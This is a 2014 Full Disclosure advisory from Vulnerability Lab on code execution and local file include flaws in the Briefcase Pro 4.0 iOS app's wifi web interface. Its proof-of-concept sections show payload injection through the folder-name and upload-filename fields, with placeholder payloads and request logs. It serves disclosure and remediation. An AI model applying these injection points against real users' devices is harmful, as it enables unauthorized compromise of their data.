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[FD] Briefcase 4.0 iOS - Code Execution & File Include Vulnerability
- To: fulldisclosure@xxxxxxxxxxxx
- Subject: [FD] Briefcase 4.0 iOS - Code Execution & File Include Vulnerability
- From: Vulnerability Lab <research@xxxxxxxxxxxxxxxxxxxxx>
- Date: Mon, 15 Sep 2014 11:54:21 +0200
Document Title:
===============
Briefcase 4.0 iOS - Code Execution & File Include Vulnerability
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1319
Release Date:
=============
2014-09-11
Vulnerability Laboratory ID (VL-ID):
====================================
1319
Common Vulnerability Scoring System:
====================================
9.2
Product & Service Introduction:
===============================
Briefcase v4.0 is an all-in-one document reader and manager for iPhone, iPad
and iPod Touch. It can import files from Camera,
Photo Albums, PC/Mac(via Wi-Fi or iTunes), Email attachments, GoogleDrive,
Dropbox,SkyDrive,Box and so on. All files are
saved to your deivce locally so you can enjoy reading them anywhere!
( Copy of the Homepage:
https://itunes.apple.com/us/app/briefcase-pro-file-manager/id579224808 )
Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered multiple critical
vulnerabilities in the official Briefcase Pro v4.0 iOS mobile web-application.
Vulnerability Disclosure Timeline:
==================================
2014-09-11: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Qiwen Zhang
Product: Briefcase Pro - iOS Mobile Web Application 4.0
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Critical
Technical Details & Description:
================================
1.1
A remote code execution web vulnerability has been discovered in the official
Briefcase Pro v4.0 iOS mobile wifi web-application.
The vulnerbaility allows an attacker to compromise the application and
connected device by usage of a system specific command execution.
The vulnerability is located in the `Create Folder (Add Folder)` input field.
The input field to create folders allows to inject the input
via POST method request. The request validation has only a simple single quote
encoding. Remote attackers are easily able to execute code
by usage of a script code payload in combination with system device specific
php code values. The execution of the code occurs in the main
index file dir listing context. The attack vector is on application-side and
the request method to attack the service is POST.
The remote attacker is able to tamper the create new folder post method request
and can intercept the values twice to attach the second
manipulated path value to provoke a code execution. After the add request it is
possible to attach to the already included values via create
new folder to execute the code.
The security risk of the remote code execution web vulnerability is estimated
as critical with a cvss (common vulnerability scoring system)
count of 9.2. Exploitation of the remote code execution web vulnerability
requires no privileged application user account (passwd default blank)
or user interaction. Successful exploitation of the code execution
vulnerability results in mobile application compromise and connected or
affected component compromise.
Request Method(s):
[+] [POST]
Vulnerable Module(s):
[+] Create Folder (Add Folder)
Vulnerable Parameter(s):
[+] name to path id
Affected Module(s):
[+] previewFile.html?id=undefined&name=
1.2
A local file include web vulnerability has been discovered in the official
Briefcase Pro v4.0 iOS mobile wifi web-application.
The local file include web vulnerability allows remote attackers to
unauthorized include local file/path requests or system
specific path commands to compromise the mobile web-application.
The web vulnerability is located in the `filename` value of the `upload files`
module. Remote attackers are able to inject own files
with malicious `filename` values in the `upload files` POST method request to
compromise the mobile web-application. The local file/path
include execution occcurs in the path dir index listing context. The attacker
is able to inject the local file include request by usage
of the `wifi interface`.
Remote attackers are also able to exploit the filename validation issue in
combination with persistent injected script codes to execute
different local malicious attacks requests. The attack vector is on the
application-side of the wifi service and the request method to
inject is POST.
The security risk of the local file include web vulnerability is estimated as
high with a cvss (common vulnerability scoring system)
count of 6.3. Exploitation of the local file include web vulnerability requires
no user interaction but a privileged web-application
user account with low user auth. Successful exploitation of the local file
include web vulnerability results in mobile application or
connected device component compromise.
Request Method(s):
[+] [POST]
Vulnerable Module(s):
[+] Upload Files
Vulnerable Parameter(s):
[+] filename
Affected Module(s):
[+] Index Path Dir Listing (http://localhost/)
Proof of Concept (PoC):
=======================
1.1
The code execution vulnerability in the create folder function can be exploited
by remote attackers without privileged application user account or user
interaction.
For security demonstration or to reproduce the security vulnerability follow
the provided information and steps below to continue.
PoC: Link
http://localhost/previewFile.html?id=undefined&name=%3E[CODE EXECUTION
VULNERABILITY!]
PoC: Create Folder (Add Folder)
<div class="file-name-c"><p class="file-name-title">>"<%3E[CODE EXECUTION
VULNERABILITY!]"></p><div class="btn-group overlay-actions"><button
type="button"
menuType="Starred" fileId="C00D9F05-9C80-4E6D-B922-8BCAB14ACECB" class="btn
btn-xs btn-default tblStarred file-unstared">
<span class="glyphicon glyphicon-star"></span> Starred</button><button
type="button" menuType="DirectDownload" class="btn btn-xs btn-default
tblDownload">
<span class="glyphicon glyphicon-arrow-down"></span> Download</button><button
type="button" menuType="Rename" name="Rename" class="btn btn-xs btn-default
tblRename">
<span class="glyphicon glyphicon-pencil"></span>
Rename</button></div></div><div class="file-info-c pull-right""><label
class="file-size-title">0 items</label>
<label
class="file-date-title">18:46</label></div></div></iframe></p></div></div></div></div>
--- PoC Session Logs [POST] ---
Status: 200[OK]
POST http://localhost/folder/add Load Flags[LOAD_BYPASS_CACHE LOAD_BACKGROUND
] Größe des Inhalts[375] Mime Type[application/json]
Request Header:
Host[localhost]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101
Firefox/32.0]
Accept[application/json, text/javascript, */*; q=0.01]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Content-Type[application/x-www-form-urlencoded; charset=UTF-8]
X-Requested-With[XMLHttpRequest]
Referer[http://localhost/]
Content-Length[275]
Connection[keep-alive]
Pragma[no-cache]
Cache-Control[no-cache]
POST-Daten:
{"header":{"clientId":"23A61067-BF41-4BC4-A69F-DA4348A5D7DC","reqId":"A261102A-AEB3-4DBF-96CC-37BE529E7F65","reqDate":"2014-09-07
18:45:56","action":"AddFolder"},"content":{"amount":1,"data":[{"name":"%3E[CODE
EXECUTION VULNERABILITY!]","parent":"PocketBriefcaseRootFolderName"}]}}[]
Response Header:
Accept-Ranges[bytes]
Content-Length[375]
Content-Type[application/json]
Date[Sun, 07 Sep 2014 16:46:41 GMT]
-
Status: 200[OK]
POST http://localhost/files/list Load Flags[LOAD_BYPASS_CACHE LOAD_BACKGROUND
] Größe des Inhalts[948] Mime Type[application/json]
Request Header:
Host[localhost]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101
Firefox/32.0]
Accept[application/json, text/javascript, */*; q=0.01]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Content-Type[application/x-www-form-urlencoded; charset=UTF-8]
X-Requested-With[XMLHttpRequest]
Referer[http://localhost/]
Content-Length[242]
Connection[keep-alive]
Pragma[no-cache]
Cache-Control[no-cache]
POST-Daten:
{"header":{"clientId":"23A61067-BF41-4BC4-A69F-DA4348A5D7DC","reqId":"884EA3B1-53EB-47D9-8316-FF53A92A6047","reqDate":"2014-09-07
18:45:57","action":"ListFiles"},"content":{"amount":1,"data":[{"id":"vSysAll","filter":"*","isCategory":true}]}}[]
Response Header:
Accept-Ranges[bytes]
Content-Length[948]
Content-Type[application/json]
Date[Sun, 07 Sep 2014 16:46:42 GMT]
-
Status: 200[OK]
GET http://localhost/file/thumbnail/get/C00D9F05-9C80-4E6D-B922-8BCAB14ACECB
Load Flags[VALIDATE_NEVER ] Größe des Inhalts[717] Mime
Type[application/x-unknown-content-type]
Request Header:
Host[localhost]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101
Firefox/32.0]
Accept[image/png,image/*;q=0.8,*/*;q=0.5]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer[http://localhost/]
Connection[keep-alive]
Response Header:
Accept-Ranges[bytes]
Content-Length[717]
Date[Sun, 07 Sep 2014 16:46:42 GMT]
-
Status: 200[OK]
GET http://localhost/%3E[CODE EXECUTION VULNERABILITY!] Load
Flags[LOAD_DOCUMENT_URI ] Größe des Inhalts[unknown] Mime Type[unknown]
Request Header:
Host[localhost]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101
Firefox/32.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer[http://localhost/]
Reference(s):
http://localhost/file/thumbnail/get/
http://localhost/files/list
http://localhost/folder/add
1.2
The local file include web vulnerability in the file upload function can be
exploited by local attackers without privileged application user account.
For security demonstration or to reproduce the security vulnerability follow
the provided information and steps below to continue.
PoC: Link
http://localhost/files/list/./[LOCAL FILE INCLUDE WEB VULNERABILITY!]
PoC: Filename (Upload Files)
<div class="file-row" createdate="14-09-07 18:42:20" filesize="538"
parent="001B0541-AA4D-4072-B833-A3C80BA866E6" filename="./[LOCAL FILE INCLUDE
WEB VULNERABILITY!].png" ext="png" isfavourite="0" isfolder="0"
fileid="8B4FFDDF-5147-4A63-BA86-ED7E36BAF171"><div class="file-mark-c"><input
name="file-check" createdate="14-09-07 18:42:20" filesize="538"
parent="001B0541-AA4D-4072-B833-A3C80BA866E6" filename="2.png" ext="png"
isfavourite="0" isfolder="0" fileid="8B4FFDDF-5147-4A63-BA86-ED7E36BAF171"
class="file-check" type="checkbox"><img
src="/file/thumbnail/get/8B4FFDDF-5147-4A63-BA86-ED7E36BAF171"
class="file-thumb" alt="thumb"></div><div class="file-name-c"><p
class="file-name-title">./[LOCAL FILE INCLUDE WEB VULNERABILITY!].png</p><div
class="btn-group overlay-actions"><button type="button" menutype="Starred"
fileid="8B4FFDDF-5147-4A63-BA86-ED7E36BAF171" class="btn btn-xs btn-default
tblStarred file-unstared"><span class="glyphicon glyphicon-star"></span>
Starred</button><button type="button" menutype="DirectDownload" class="btn
btn-xs btn-default tblDownload"><span class="glyphicon
glyphicon-arrow-down"></span> Download</button><button type="button"
menutype="Rename" name="Rename" class="btn btn-xs btn-default tblRename"><span
class="glyphicon glyphicon-pencil"></span> Rename</button></div></div><div
class="file-info-c pull-right" "=""><label class="file-size-title">538
bytes</label><label class="file-date-title">18:42</label></div></div>
--- PoC Session Logs [POST] ---
Status: 200[OK]
POST http://localhost/file/add Load Flags[LOAD_BYPASS_CACHE ] Größe des
Inhalts[322] Mime Type[text/plain]
Request Header:
Host[localhost]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101
Firefox/32.0]
Accept[application/json, text/javascript, */*; q=0.01]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
X-Requested-With[XMLHttpRequest]
Referer[http://localhost/]
Content-Length[991]
Content-Type[multipart/form-data;
boundary=---------------------------95791437429485]
Connection[keep-alive]
Pragma[no-cache]
Cache-Control[no-cache]
POST-Daten:
POST_DATA[-----------------------------95791437429485
Content-Disposition: form-data;
name="params"folderId:PocketBriefcaseRootFolderName|clientId:F2B74308-A1C8-4319-AEF6-2698BFD707ED|reqId:9287520A-032B-4DF2-9CD2-4690BD5FB51B|action:AddFile|reqDate:2014-09-07
18:41:19
-----------------------------95791437429485
Content-Disposition: form-data; name="files[]"; filename="./[LOCAL FILE INCLUDE
WEB VULNERABILITY!].png"
Content-Type: image/png
-
Status: 200[OK]
POST http://localhost/files/list Load Flags[LOAD_BYPASS_CACHE LOAD_BACKGROUND
] Größe des Inhalts[636] Mime Type[application/json]
Request Header:
Host[localhost]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101
Firefox/32.0]
Accept[application/json, text/javascript, */*; q=0.01]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Content-Type[application/x-www-form-urlencoded; charset=UTF-8]
X-Requested-With[XMLHttpRequest]
Referer[http://localhost/]
Content-Length[242]
Connection[keep-alive]
Pragma[no-cache]
Cache-Control[no-cache]
POST-Daten:
{"header":{"clientId":"F2B74308-A1C8-4319-AEF6-2698BFD707ED","reqId":"A7DB058B-420B-4467-84E4-D6CBE0FDCB19","reqDate":"2014-09-07
18:41:36","action":"ListFiles"},"content":{"amount":1,"data":[{"id":"vSysAll","filter":"*","isCategory":true}]}}[]
Response Header:
Accept-Ranges[bytes]
Content-Length[636]
Content-Type[application/json]
Date[Sun, 07 Sep 2014 16:42:21 GMT]
Reference(s):
http://localhost/files/list
http://localhost/file/add
Solution - Fix & Patch:
=======================
1.1
Restrict and filter the name of the add folder. Disallow special char usage and
prepare to encode the POST method request to add the folder name to the index
module.
Encode and filter also the foldername id value in the main item list of the
application index.
1.2
The file include web vulnerability can be patched by a secure parse and encode
of the filename value. Filter and restrict the filename input.
validate the output names in the main item list of the application index.
Security Risk:
==============
1.1
The security risk of the local code execution web vulnerability is estimated as
critical.
1.2
The security risk of the local file include web vulnerability is estimated as
high.
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri
(bkm@xxxxxxxxxxxxxxxxx) [www.vulnerability-lab.com]
Disclaimer & Information:
=========================
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